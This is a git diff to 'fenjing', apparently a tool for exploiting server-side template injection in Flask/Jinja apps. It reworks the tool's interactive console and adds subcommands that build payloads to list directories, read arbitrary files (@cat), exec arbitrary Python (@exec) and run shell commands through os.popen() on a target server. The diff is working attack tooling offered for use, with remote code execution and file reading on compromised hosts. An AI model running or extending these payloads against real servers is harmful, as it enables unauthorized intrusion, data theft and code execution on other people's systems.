diff --git a/fenjing/cli.py b/fenjing/cli.py index df35404..285b494 100644 --- a/fenjing/cli.py +++ b/fenjing/cli.py @@ -28,6 +28,7 @@ from .submitter import Submitter, PathSubmitter, FormSubmitter, shell_tamperer from .scan_url import yield_form from .webui import main as webui_main +from .interact import interact set_enable_coloring() @@ -47,30 +48,7 @@ ), bold=True, ) -INTERACTIVE_MODE_HELP = """ -{english_title}: -- Command Execution: type to execute shell command with os.popen() -- Python Eval: use {eval_help} to eval python expression on the target server -- Get Config: use {get_config_help} to get the config of the target server -- Press {exit_help} to exit -{chinese_title}: -- 命令执行:输入任意命令即可在目标上用os.popen()执行 -- Python Eval:使用{eval_help}来eval任意python表达式 -- 配置获取:使用{get_config_help}来获得目标的flask config -- 按下{exit_help}退出 -{example_title}: -$>> ls / -$>> %%eval 1+2+3+100000 -$>> %%get-config - -""".format( - english_title = colored("yellow", "Interactive Console", bold=True), - chinese_title = colored("yellow", "交互终端", bold=True), - example_title = colored("yellow", "Example/示例", bold=True), - eval_help=colored("cran", "%%eval "), - get_config_help=colored("cran", "%%get-config"), - exit_help=colored("cran", "Ctrl+D"), -) + LOGGING_FORMAT = "%(levelname)s:[%(name)s] | %(message)s" logging.basicConfig(level=logging.INFO, format=LOGGING_FORMAT) logger = logging.getLogger("cli") @@ -101,16 +79,41 @@ def do_submit_cmdexec( str: 回显 """ payload, will_print = None, None - if cmd[:2] == "%%": - cmd = cmd[2:] + # 解析命令 + if cmd[0] == "@": + cmd = cmd[1:] if cmd.startswith("get-config"): payload, will_print = full_payload_gen_like.generate(CONFIG) elif cmd.startswith("eval"): payload, will_print = full_payload_gen_like.generate( - EVAL, STRING, cmd[4:].strip() + EVAL, (STRING, cmd[4:].strip()) + ) + elif cmd.startswith("ls"): + cmd = cmd.strip() + if len(cmd) == 2: # ls + payload, will_print = full_payload_gen_like.generate( + EVAL, (STRING, "__import__('os').listdir()") + ) + else: # ls xxx + payload, will_print = full_payload_gen_like.generate( + EVAL, (STRING, f"__import__('os').listdir({repr(cmd[2:].strip())})") + ) + elif cmd.startswith("cat"): + filepath = cmd[3:].strip() + payload, will_print = full_payload_gen_like.generate( + EVAL, (STRING, f"open({repr(filepath)}, 'r').read()") + ) + elif cmd.startswith("exec"): + statements = cmd[4:].strip() + payload, will_print = full_payload_gen_like.generate( + EVAL, (STRING, f"exec({repr(statements)})") ) + else: + logging.warning("Please check your command") + return "" else: payload, will_print = full_payload_gen_like.generate(OS_POPEN_READ, cmd) + # 使用payload if payload is None: logger.warning("%s generating payload.", colored("red", "Failed")) return "" @@ -125,25 +128,6 @@ def do_submit_cmdexec( return result.text -def interact(cmd_exec_func: Callable): - """根据提供的payload生成方法向用户提供一个交互终端 - - Args: - cmd_exec_func (Callable): 根据输入的shell命令生成对应的payload - """ - print(INTERACTIVE_MODE_HELP) - while True: - try: - cmd = input("$>> ") - except EOFError: - break - except KeyboardInterrupt: - break - result = cmd_exec_func(cmd) - print(result) - logger.warning("Bye!") - - def parse_headers_cookies(headers_list: List[str], cookies: str) -> Dict[str, str]: """将headers列表和cookie字符串解析为可以传给requests的字典 @@ -221,7 +205,7 @@ def do_crack_form_eval_args_pre( replaced_keyword_strategy: str, environment: str, tamper_cmd: Union[str, None], -) -> Union[Tuple[Submitter, Union[FullPayloadGen, EvalArgsModePayloadGen]], None]: +) -> Union[Tuple[Submitter, EvalArgsModePayloadGen], None]: """攻击一个表单并获得结果,但是将payload放在GET/POST参数中提交 Args: diff --git a/fenjing/cracker.py b/fenjing/cracker.py index 6ce0f82..51c1f1d 100644 --- a/fenjing/cracker.py +++ b/fenjing/cracker.py @@ -171,7 +171,7 @@ def crack(self) -> Union[FullPayloadGen, None]: ) return full_payload_gen - def crack_eval_args(self) -> Union[Tuple[FullPayloadGen, Submitter, bool], None]: + def crack_eval_args(self) -> Union[Tuple[Submitter, EvalArgsModePayloadGen], None]: """开始进行攻击,生成一个会eval GET参数x中命令的payload, 将其放进一个新的submitter中并返回。 新的submitter会填充GET参数x、提交并返回结果。 diff --git a/fenjing/interact.py b/fenjing/interact.py new file mode 100644 index 0000000..b2e0586 --- /dev/null +++ b/fenjing/interact.py @@ -0,0 +1,97 @@ +from typing import Callable + +from pygments.lexers.shell import BashLexer + +from prompt_toolkit import PromptSession, print_formatted_text, HTML +from prompt_toolkit.completion import NestedCompleter +from prompt_toolkit.lexers import PygmentsLexer +from prompt_toolkit.styles import style_from_pygments_cls +from prompt_toolkit.lexers import PygmentsLexer +from pygments.styles import get_style_by_name + + +# completer = WordCompleter(["@eval", "@get-config", "@help", "@ls", "@cat"]) +completer = NestedCompleter.from_nested_dict( + { + "@eval": None, + "@get-config": None, + "@ls": None, + "@cat": None, + "@help": {"eval", "get-config", "ls", "cat"}, + } +) +style = style_from_pygments_cls(get_style_by_name("lightbulb")) + +INTERACTIVE_MODE_HELP_LONG = """\ +Interactive Console: +- type to execute shell command with os.popen() +- @eval: eval python expression on the target server +- @get-config: get the config of the target server +- @help: show help, use @help subcommand to show subcommand help +- Press Ctrl+D to exit +交互终端: +- 输入任意命令即可在目标上用os.popen()执行 +- @eval: 调用eval函数执行任意python表达式 +- @get-config: 获得目标的flask config +- @help: 获得帮助,使用@help subcommand查看子命令的帮助 +- 按下Ctrl+D退出 +Tab completion is available/有tab补全 +Example/示例: +$>> ls / +$>> @eval 1+2+3+100000 +$>> @help +$>> @get-config +$>> @help eval\ +""" + +INTERACTIVE_MODE_HELP_SHORT = """\ +Example/示例: +$>> ls / +$>> @eval 1+2+3+100000 +$>> @get-config +Type @help for full help/输入@help获得完整帮助\ +""" + +HELPS = { + "eval": "Eval any python expression, example: @eval 1+1+4+5+1+4", + "get-config": "Get the config of the target, example: @get-config", + "ls": "list the directory with python builtin os.listdir()", + "cat": "read a file with python", +} + + +def interact(cmd_exec_func: Callable): + print_formatted_text(HTML(INTERACTIVE_MODE_HELP_SHORT)) + # print(INTERACTIVE_MODE_HELP) + session = PromptSession( + lexer=PygmentsLexer(BashLexer), + completer=completer, + style=style, + include_default_pygments_style=False, + ) + while True: + try: + text = session.prompt("$>> ") + except KeyboardInterrupt: + print("Use Ctrl+D to exit!") + continue + except EOFError: + break + if text.strip() == "": + continue + if text.strip().lower()[:5] == "@help": + text = text.strip().lower() + if len(text) == 5: + print_formatted_text(HTML(INTERACTIVE_MODE_HELP_LONG)) + else: + subcommand = text[6:] + help_text = HELPS.get(subcommand, None) + if help_text: + print(help_text) + else: + print(f"subcommand {repr(subcommand)} not found") + continue + result = cmd_exec_func(text) + print(result) + + print("Bye!") diff --git a/requirements.txt b/requirements.txt index 3527968..d49beec 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,5 +3,6 @@ beautifulsoup4 click flask jinja2 -mypy +prompt_toolkit +pygments pysocks